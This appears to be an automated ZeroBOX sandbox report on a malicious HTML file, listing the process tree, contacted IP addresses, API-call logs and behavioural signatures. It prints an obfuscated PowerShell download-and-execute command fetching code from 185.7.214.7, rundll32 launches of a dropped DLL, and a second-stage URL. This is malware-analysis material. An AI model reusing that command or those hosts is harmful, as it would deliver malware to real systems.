Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Jan. 18, 2022, 10:04 a.m.	Jan. 18, 2022, 10:06 a.m.

Size	10.8KB
Type	data
MD5	`8f12c9ff33ea9aa35e97faaeb09f63d7`
SHA256	`c681e3bc032bdcc6923b7d17c1f7ba0fecc80826d9b9f11ebf512183c977b72f`
CRC32	`7BCB1843`
ssdeep	`192:aYA6VCkQyw90+qiJ54x7UODA0qJEMKsqBR43Yn+ebOe1uTJpUrH9U3GgVLrcTR6/:aYlUkPoNj5uAODA0qJdXqksOH70ArcT8`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\cc.html
2256
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2256 CREDAT:145409
  2404
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
    1424
    - cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
      2540
      - rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        456
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        1704
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy",rKaKTxKy
        2344
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy",DllRegisterServer
        824
explorer.exe C:\Windows\Explorer.EXE
1388

Name	Response	Post-Analysis Lookup
mecaglobal.com	A 198.12.243.55	198.12.243.55

IP Address	Status	Action
103.8.26.102	Active	Moloch
103.8.26.103	Active	Moloch
104.168.155.129	Active	Moloch
131.100.24.231	Active	Moloch
164.124.101.2	Active	Moloch
178.63.25.185	Active	Moloch
178.79.147.66	Active	Moloch
185.7.214.7	Active	Moloch
192.254.71.210	Active	Moloch
198.12.243.55	Active	Moloch
203.114.109.124	Active	Moloch
207.38.84.195	Active	Moloch
209.59.138.75	Active	Moloch
212.237.17.99	Active	Moloch
217.182.143.207	Active	Moloch
45.142.114.231	Active	Moloch
45.176.232.124	Active	Moloch
46.55.222.11	Active	Moloch
51.38.71.0	Active	Moloch
51.68.175.8	Active	Moloch
58.227.42.236	Active	Moloch
79.172.212.216	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 18, 2022, 10:05 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 18, 2022, 10:05 a.m.			0	0
IsDebuggerPresent Jan. 18, 2022, 10:05 a.m.			0	0
IsDebuggerPresent Jan. 18, 2022, 10:05 a.m.			0	0

Command line console output was observed (3 events)

Time & API	Arguments	Status	Return
WriteConsoleW Jan. 18, 2022, 10:05 a.m.	buffer: IsPublic IsSerial Name BaseType console_handle: 0x000000000000001b	1	1
WriteConsoleW Jan. 18, 2022, 10:05 a.m.	buffer: True False Process System.ComponentM... console_handle: 0x0000000000000023	1	1
WriteConsoleW Jan. 18, 2022, 10:05 a.m.	buffer: PS C:\Users\test22\Desktop> console_handle: 0x000000000000002b	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000251970 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b70bd50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b70bd50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b70bd50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b724f30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b724f30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7257f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7257f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7257f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7258d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7258d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7258d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7258d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7258d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725b70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b74ed30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 18, 2022, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b74ed30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 18, 2022, 10:05 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://185.7.214.7/PP91.PNG
suspicious_features	GET method with no useragent header				suspicious_request	GET http://mecaglobal.com/qxim/TlDTjlxYAdwU/

Performs some HTTP requests (2 events)

request	GET http://185.7.214.7/PP91.PNG
request	GET http://mecaglobal.com/qxim/TlDTjlxYAdwU/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 385 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 region_size: 3084288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002320000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002610000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007756d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077592000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077574000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077592000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc5c5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc5c5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe0c4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff4a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007755a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa7c7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef7019000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002610000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007756d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077592000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077574000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077592000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc5c5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe0c4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff4a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007755a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077592000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 2256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 region_size: 2166784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ad0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ce0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000775c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2022, 10:04 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007756d000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\Public\Documents\ssd.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X
cmdline	"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
